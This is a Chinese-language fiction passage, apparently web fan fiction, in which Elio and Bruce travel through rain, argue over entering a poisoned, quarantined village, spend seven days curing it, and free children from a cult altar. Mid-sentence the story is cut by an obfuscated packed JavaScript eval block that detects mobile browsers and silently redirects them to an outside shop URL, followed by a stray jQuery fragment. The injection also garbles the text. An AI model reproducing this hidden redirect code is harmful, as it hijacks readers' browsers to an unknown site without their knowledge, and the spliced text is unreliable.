深秋的雨下起来就没个完。
山道变成了一条泥浆河，每一步踩下去都会发出黏腻的声响，鞋底的泥越积越厚，走起来像拖着两块石头。
艾利欧裹着一件藏蓝色的外套，兜帽拉得很低，但雨水还是顺着边缘往下淌，把他白色的卷发打湿成一绺一绺的。
他觉得自己已经够狼狈了。然后他转头看了一眼布鲁斯。
布鲁斯的黑发湿透了，贴在额头上，雨水沿着他的下颌线往下滴。
他的外套上全是泥点，有些已经干了又湿，湿了又干，形成了一层灰褐色的壳。他每走一步，鞋底都会带起一大片泥浆，甩到裤腿上，然后又被雨水冲刷掉一些。
整个人看起来像一只从排水沟里爬出来的、被大雨浇透了的、心情非常不好的黑猫。
艾利欧看了他两秒，斟酌了一下措辞，“你看起来像被谁扔进河里又捞起来的。”
“你现在看起来也干净不到哪里去。”布鲁斯的声音被雨声压得很低。
“至少我的头发还是白的。”
布鲁斯终于转头看了他一眼。艾利欧的白卷发塌下来贴在脸侧，原本蓬松的弧度消失了，像一朵被雨浇蔫了的花。
“现在也不是了。”
“它只是变湿了，不是变脏了。”
“……这听起来像是辩解。”
“我从不辩解，我只会澄清。”
布鲁斯把目光收回去继续走，嘴角抿了一下——弧度很微小。
他们又走了一小段路，布鲁斯低头看了看自己外套上的泥浆，终于忍不住了：“这里面也有你的功劳，你每次踩到泥坑的时候都会溅我一身。”
“那都是意外。我物理层面上确实比较笨拙。”
艾利欧的声音理直气壮，“这就是为什么我需要你。”
布鲁斯顿了一下：“需要我什么？”
“帮我搬石头、挖土、扛重物。你力气大，这是你在这个组合里的定位。”
布鲁斯张了张嘴，但发现自己确实一直在干力气活。
他沉默了两秒：“……我是什么搬运工吗。”
“你是我的搭档。”艾利欧说，“只不过你负责体力部分。”
“那你负责什么？”
“我负责指挥。”
“站在干净的地方指挥？”
“这是分工的一种。”
话音未落，艾利欧的脚踩进了一个深泥坑——很深的那种，直接没过脚踝。
他停住了，低头看着自己外套的下摆溅满了泥点，表情有一瞬间的空白，像是一个一生体面的人突然遭遇了不可抗力。
布鲁斯听到声音回头，看着他站在泥坑里的样子，嘴角动了一下：“你也踩到了。”
“我知道。”艾利欧的语气带着一种生无可恋的灰败。
“你还好吗？”
“我在心理上消化这件事。”
布鲁斯没有笑出来——但他嘴角那个弧度维持了很长时间。
他们走了一段路，看到路边有一间废弃的猎户小屋，艾利欧用丝线探了一下确认里面没东西，然后两个人就挤进去了。
屋顶漏了几处，但至少有一半是干的。艾利欧生了火，布鲁斯在门口拆了一只旧架子当柴火。
外面雨声落在屋顶上，密的像敲鼓。
艾利欧坐在火边又翻起手稿，布鲁斯靠着墙拧外套上的水。火光映在两个人的脸上，把湿漉漉的轮廓照得暖了一些。
“你把湿外套脱了吧。”艾利欧头也没抬，“不然明天你会幸运地感冒。”
“我说了我真的很少感冒。”
“那我很幸运了。如果我感冒了，你就可以负责照顾我。”
布鲁斯沉默了一会儿，然后默默把湿外套脱下来搭在火边。
他靠回墙上，看着火光照在艾利欧侧脸上的轮廓。他的白卷发正在慢慢干掉，又开始恢复那种蓬松的弧度。
外面还在下雨，火堆里的木头偶尔发出噼啪的声响，雨水沿着屋檐滴落在门外的泥地上，发出细碎的、连绵的声响。
布鲁斯闭上了眼睛。
---
他们又走了几天，雨暂时停了，但天还是阴沉的，空气还是潮湿的，地面也没有干透。
他们路过了一个不太对劲的村庄。
村口拉着一道粗麻绳，麻绳上挂着几块写着某种文字的木板。
村口外面有几个脸色不太好看的人守着，看到他们走近就举起了手，大声喝止。
布鲁斯停住了脚步。他听不懂那些人在喊什么，但他看懂了他们的表情——恐惧、疲惫、绝望。
“他们在说什么。”布鲁斯问。
“隔离。”艾利欧站在他旁边，语气比往日平板，“这个村子在隔离，里面的人……”
“瘟疫？”布鲁斯的声音压得很低。
艾利欧没有立刻回答。
他在空气中捕捉了什么，然后抬起手让几根银丝从指尖探出去，在空气里游走了一圈又收回来。
艾利欧皱起眉：“不是普通的瘟疫，是魔法毒素——有人在附近散播了某种东西。”
雨又开始落了。从细细的、几乎感觉不到的毛雨，慢慢变成了更大的雨滴。
布鲁斯站在那里，看着那条麻绳和那些挂在上面摇晃的木牌。
风从村子的方向吹过来，带着一股潮湿的、陈旧的、像是很久没有打开过的气味。
他听到里面传来孩子的声音——很小，很细，像是隔着很远在喊什么。
布鲁斯收紧了拳头，往前迈了一步。
艾利欧伸手猛地抓住了他的手腕。
“布鲁斯，”他的声音从身后传来，又沉又冷，像一块被压了很久的石头，“你不能进去。”
布鲁斯回过头看他。
雨水把艾利欧的白卷发压得贴在额头上，蓝眼睛在昏暗的天色里显得格外亮。那只手攥得很紧，指节发白。
“艾利欧，松手。”
布鲁斯的声音很平，但那下面压着的东西比表面重得多，“里面还有活着的人。还是孩子。”
“你进去也会被感染。”
“我不怕。”
艾利欧抬眼瞪着他，蓝眼睛在灰暗的天色里显得格外亮：“不怕不代表你不会死——你进去之后会染上毒，会死——你死了也救不了他们——”
布鲁斯猛地转过来。
他的动作很快，雨水在他转身的瞬间从他发梢甩出去，落在艾利欧的衣领上。
他盯着艾利欧的眼睛：“那我就不救了吗？眼看着孩子们等死吗？”
艾利欧抓着布鲁斯手腕的手没有松开。
“……别因为几个陌生人把自己搭进去。世界上每天都有村庄出事，没有人拦得住所有——”
“所以你就不拦了？”布鲁斯的声音忽然拔高了一点，“就因为你拦不住所有，你就一个都不拦？”
村子外面的土路在雨水的冲刷下开始变得泥泞。
艾利欧没有说话。雨水从他白色的卷发上淌下来，沿着下颌线滑落。
“你看到了那些孩子吗——你看到了吗？”
布鲁斯的另一只手抬起来，指向村子方向，他的声音比刚才高了许多，“里面还有孩子，艾利欧！”
“我看得到——”艾利欧的声音终于拔高了，他抓住布鲁斯的胳膊，把他往后推了一步。
“我看得到！但你去有什么用？要是你死在里面了怎么办？”
“那我就死在里面！”
这句话落进雨里的时候，两个人都愣了一下。
布鲁斯站在暴雨里，胸口剧烈地起伏着，雨水顺着他的脸往下淌。
他的眼睛很亮——那种愤怒的、不甘的、像一把被攥在手里还没扔出去的火。他看着艾利欧。
艾利欧站在原地。
雨水打在他的肩膀上、头发上、脸上，他的白卷发被雨压得塌下来，遮住了半张脸。
“布鲁斯，我不是那种到处对别人伸手的英雄。我有我要做的事——”
“你有你要做的事，你没有时间管别人？”布鲁斯盯着他，“那你为什么还和我一起走了这么多天？”
艾利欧张了一下嘴，“因为——”
布鲁斯的雨衣帽已经被风吹下来了，雨水打在他脸上，他完全没有躲避，而是往前走了一步。
这一次他没有试图挣脱那只手，他就那样被艾利欧攥着手腕，又往前走了一步。
“你可以自己走，你明明在遇到我之前一直都是一个人走的。”
“因为你——”艾利欧的声音像是被雨水打湿了一样哑，“你和他们一样……那么固执、不肯放弃——我本来想、我本来想看着你走下去就算了。我本来想——”
他忽然用力收了一下手指，把布鲁斯的手腕攥得更紧了些，紧到两个人的位置不自觉地拉近了一步——雨水和雨水之间的缝隙填上了。
“我本来想——我不会再伸手了。我试过了——我伸过手，然后我失去了一切。你不明白——你根本不知道是什么感觉——”
他攥得那么紧，像是怕一松手，眼前的这个人就会消失在雨里。
布鲁斯低头看了一眼被攥住的手腕。
然后他抬起另一只手，握住了艾利欧的手腕。
“那你为什么现在还攥着我的手。你可以不攥——你说你不再伸手了——那你为什么还不松手？”
雨声很大，但这句话在两个人之间的空隙里撞出了回响。
艾利欧看着他。
布鲁斯的黑发已经完全湿透了，雨水顺着他的脸颊往下淌，他蓝色的眼睛在雨里亮得惊人。
“……我不是那种，可以让人随便死掉的人。”艾利欧说。
布鲁斯的喉咙动了一下。
两个人站在雨里，一个攥着对方的手腕，一个反握着对方的手腕。
雨水模糊了他们的脸，但那双蓝眼睛一直都看着彼此。
然后艾利欧先动了——他松开了手，往后退了半步。
布鲁斯心里一沉。
艾利欧站在那里，看着布鲁斯的蓝眼睛——雨水让那双眼睛显得格外清澈，也格外固执。
艾利欧不知道要怎么解释那场一百多年前的清洗。
他不知道要怎么解释他眼睁睁看着所有人死去，却只能自己活下来。
他不知道要怎么说出口内心深处的茫然和恐惧。
布鲁斯的那些话刺在艾利欧的喉咙里——像一根没消化完的骨头。
雨一直在下。
布鲁斯的头发全湿了，贴在额头上，雨水顺着脸往下淌。他看着艾利欧，像在等一个答案。
艾利欧沉默地站在那里，像一尊被雨浇透了的雕像。
“……我不能让你进去。”
艾利欧的声音轻到几乎被雨声盖过，“里面那些孩子，如果你进去救他们——即使你死了，你也不会后悔，是不是？”
雨水模糊了布鲁斯的视线，但艾利欧的表情他还是能看到的——那张变得苍白的脸上有什么东西在松动，像一道裂开的冰面。
“是。”布鲁斯说。
艾利欧深吸了一口气：“你可能会出事。”
“我知道。”
艾利欧伸手抹了一把脸上的雨水，用那只空出来的手——还在微微发抖——抬起来，悬在了布鲁斯面前。
“站着别动。”艾利欧说，声音里带着一点余怒未消的不耐，“如果你被感染了，我不仅要救他们，还要救你——这比一开始就让我帮你更麻烦。”
他不再看布鲁斯的眼睛。
银色的丝线从他指尖延伸出来，在雨中织成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821639|211102||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一层极薄的、发着微光的网，覆盖在布鲁斯的肩膀、胸口和手臂上，然后慢慢隐没。
布鲁斯低头看自己。
什么都没看到，但他感觉到了——那一层极轻的、温暖的触感包裹了他。
“走吧。”艾利欧的声音穿过雨幕落在他耳边，“走快点，别愣着了。”
然后艾利欧踏过那道绳子，走到布鲁斯前面，把他挡在身后半步的位置——正好是能护住他、又不让他觉得被拦着的位置。
“你为什么——”布鲁斯有些迟疑地开口。
艾利欧没有回头。
他的回答带着点停顿，像是在重新学习一个被忘记很久的句子，“如果我不帮你的话，你死了，我会很遗憾。”
雨声渐渐小了。
---
那年深秋他们救了一整个村子的人。
他们花了七天。
七天里，布鲁斯在村子里收集信息、安葬逝者、照顾病人、安抚那些孩子。
艾利欧分析毒素，推算解药的配方，尝试熬制一次又一次。
第一天，布鲁斯从村口的井边背回来一个昏迷的老人。那老人的手垂在他肩膀上，像一截枯树枝。
“他还活着吗？”艾利欧问。
“还活着。”
“把他放在那边。”
第二天，布鲁斯从村里的一间房子里带出来三个孩子。
最小的那个看起来五六岁，抱着一个破布娃娃，蜷在布鲁斯怀里一动不敢动。
布鲁斯把她放在艾利欧旁边的时候，艾利欧的视线在布鲁斯的脸上停了一下——他的黑发上沾了灰，脸上有一道擦伤，但把那个孩子放在地上的动作，轻得像在放一片羽毛。
“你受伤了。”艾利欧说。
“没事。”
第三天，他们发现解药需要一种长在高处的草药。
布鲁斯爬了三次才采到足够的分量，第三次他差点滑下来，手腕上划了一道口子。
艾利欧在他落地之后抓住了他的手腕看了看伤口，表情里有种“你怎么又受伤了”的微妙烦躁。
……
第七天，解药配出来了。
艾利欧把最后一瓶药剂递给村口那个老人时，老人颤巍巍地跪了下来。
艾利欧往旁边让了一步，布鲁斯眼疾手快地扶住老人，没有让他跪下去。
---
雨终于停了。
布鲁斯坐在村外的河边，用河水洗掉手上的泥和药渍。他洗了很久，动作很慢，像是在想什么。
艾利欧从后面走过来，在他旁边坐下。
两个人并肩坐着，月光从云层的缝隙里漏下来，落在水面上，碎成一片一片的银白色。
布鲁斯忽然开口：“我当时几乎以为，我怎么说你都不会管了。”
“我也以为我不会管。”
“那你最后为什么管了？”
艾利欧沉默了一会儿。
“你那个表情——不，总之，我没办法眼看着你去送死。”
布鲁斯看着水面，闷了好一会儿。
“谢谢。”
那是八个月里艾利欧第一次听到他说这两个字。
他偏过头看了布鲁斯一眼——月光落在他的侧脸上，黑发还是湿的，但眼睛里有种很安静的光。
艾利欧转回去看着河水：“你不能把命押在别人会不会帮你上面，不是每一次都会有人在你前面站着的。”
“我当然不会。只是你而已。”布鲁斯的声音很低。
“我什么？”
“你——会帮的，我相信你。”
艾利欧没再吭声。
---
往北又走了大概一周，他们在山里撞见了一个邪教祭坛。
被绑在祭坛上的是一群孩子，最小的看起来五六岁。
布鲁斯看到那个画面的瞬间，手臂上的肌肉一下绷紧了。
艾利欧按住了他的肩膀：“你别打草惊蛇。”
“那你说怎么办。”
“你从左边绕过去，把人质放下来。我从正面拆他们的防御编织。”艾利欧偏头看着他，“你要确保不惊动任何一个人。”
布鲁斯看着他，嘴角的弧度很淡：“你在质疑我能不能做到？”
“我在确认你会不会轻敌。”
“当然不会。”
这一次他们配合得很好。
布鲁斯无声无息地放倒了所有守卫，动作干净利落，像一道影子穿过祭坛周围的石柱。
艾利欧在他从侧面切入的同时从正面展开了编织，银色的丝线覆盖了整个祭坛区域，在对方施术者反应过来之前把整个阵结构拆解掉了。
结束后，孩子们被交给了山下镇子的警备队。
两个人坐在山坡上看着下面亮起的灯火，风从山谷里吹上来，带着夜晚的凉意。
布鲁斯坐在艾利欧旁边，比他低了半个身位。他看着山下那些渐渐亮起来的灯火，没有回头。
“艾利欧。”
“嗯。”
“像这种事情，”布鲁斯说，“以前都是我一个人做。”
他说这句话的语气很平淡，艾利欧看了他一眼，没有接话。
他靠在身后的树干上，白卷发被夜风吹动了几缕。
布鲁斯忽然问：“你会一直记得这些事吗？”
艾利欧的目光转过去，停住了。
月光落在布鲁斯的脸上，他的蓝眼睛里有一种很安静的、不像平时那样紧绷的光。
“会。”艾利欧说，“我会记得。”
布鲁斯没有再看回来。他转回去看着山下那些灯火，像是得到一个回答之后，不需要再确认什么了。
夜风从山谷吹过，带起一阵细碎的呢喃，像在诉说一些永远不会被完全说出口的心事。